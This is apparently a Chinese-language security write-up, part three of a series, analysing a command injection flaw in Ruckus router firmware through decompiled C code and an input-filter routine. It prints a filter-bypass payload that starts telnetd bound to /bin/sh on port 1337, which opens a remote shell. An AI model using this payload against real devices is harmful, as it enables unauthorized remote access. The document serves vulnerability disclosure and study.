Ruckus 路由器多个漏洞分析( 三 )


 

  1. int __fastcall doCommand(int a1){
  2. ...
  3. v1 = xGetAttrString(a1,"cmd",0);
  4. s1 = v1;
  5. if(!strcmp(s1,"get-features"))
  6. return sub_BC9DC(0);
  7. v17 = strcmp(s1,"get-feature-maxap");
  8. if(!v17 )
  9. return sub_BC904(v17, v18, v19);
  10. v17 = strcmp(s1,"get-feature-value");
  11. if(!v17 )
  12. return sub_BC904(v17, v18, v19);
  13. if(!strcmp(s1,"get-urlfiltering-maxap"))
  14. return sub_BBE94(0, v20, v21);
  15. if(!strcmp(s1,"get-maxclient"))
  16. return sub_BB64C(0, v22, v23);

  17. ...
  18. if(!strcmp(s1,"import-avpport"))
  19. return sub_C1E08(v211);

  20. ...

  21. }
如果这里的 cmd 属性为 import-avpport时会调用sub_C1E08函数 , 跟进:
 
  1. int __fastcall sub_C1E08(int xcmd){

  2. ...
  3. v1 = xGetAttrString(xcmd,"uploadFile",&unk_23380C);
  4. filename = v1;
  5. v10 = is_validate_input_string(filename);
  6. if(!v10){
  7. return-1;
  8. }
  9. ...
  10. memset(&s,0,0x100u);
  11. snprintf(&s,0x100u,"cp %s /etc/airespider/", filename);
  12. system(&s);
  13. ...

  14. }
此处 xcmd 变量为 xcmd 的标签 , 从标签中获取到 uploadFile属性的值之后 , 会经过is_validate_input_string函数对关键字符进行过滤 , 然后作为参数传入snprintf函数 , 之后继续执行 system 函数 。这里is_validate_input_string函数位于usr/lib/libemf.so动态链接库程序中 , 其代码如下:
 

  1. undefined4 is_validate_input_string(char*pcParm1)

  2. {
  3. size_tsVar1;
  4. char*pcVar2;
  5. int local_c;

  6. if(pcParm1 != ){
  7. sVar1 = strlen(pcParm1);
  8. local_c =0x0;
  9. while(local_c <(int)sVar1){
  10. pcVar2 = strchr("$;&|<>'"`\ ",(uint)(byte)pcParm1[local_c]);
  11. if(pcVar2 != ){
  12. return0xffffffff;
  13. }
  14. local_c = local_c +0x1;
  15. }
  16. }
  17. return0x0;
  18. }
可以看到这里过滤的字符串为:
 
  1. $;&|<>'"`\
但是这里依然可以进行绕过 , 绕过的方法为:将分隔符设置成 #!/bin/shn , 空格替换成 t 即可 , 因此 payload 如下:
 
  1. #!/bin/shntelnetdt-l/bin/sht-p1337
绕过之后在 system 函数处即为一个典型的命令注入漏洞 。
 
漏洞修复更新后的固件代码中对关键的字符 , 如t、n等进行了更严格的过滤 。
 
参考链接
  1. https://support.ruckuswireless.com/security_bulletins/304
  2. https://www.youtube.com/watch?v=Yt3mJlnODHU
  3. https://alephsecurity.com/2020/01/14/ruckus-wireless/
  4. https://www.youtube.com/watch?v=Yt3mJlnODHU




推荐阅读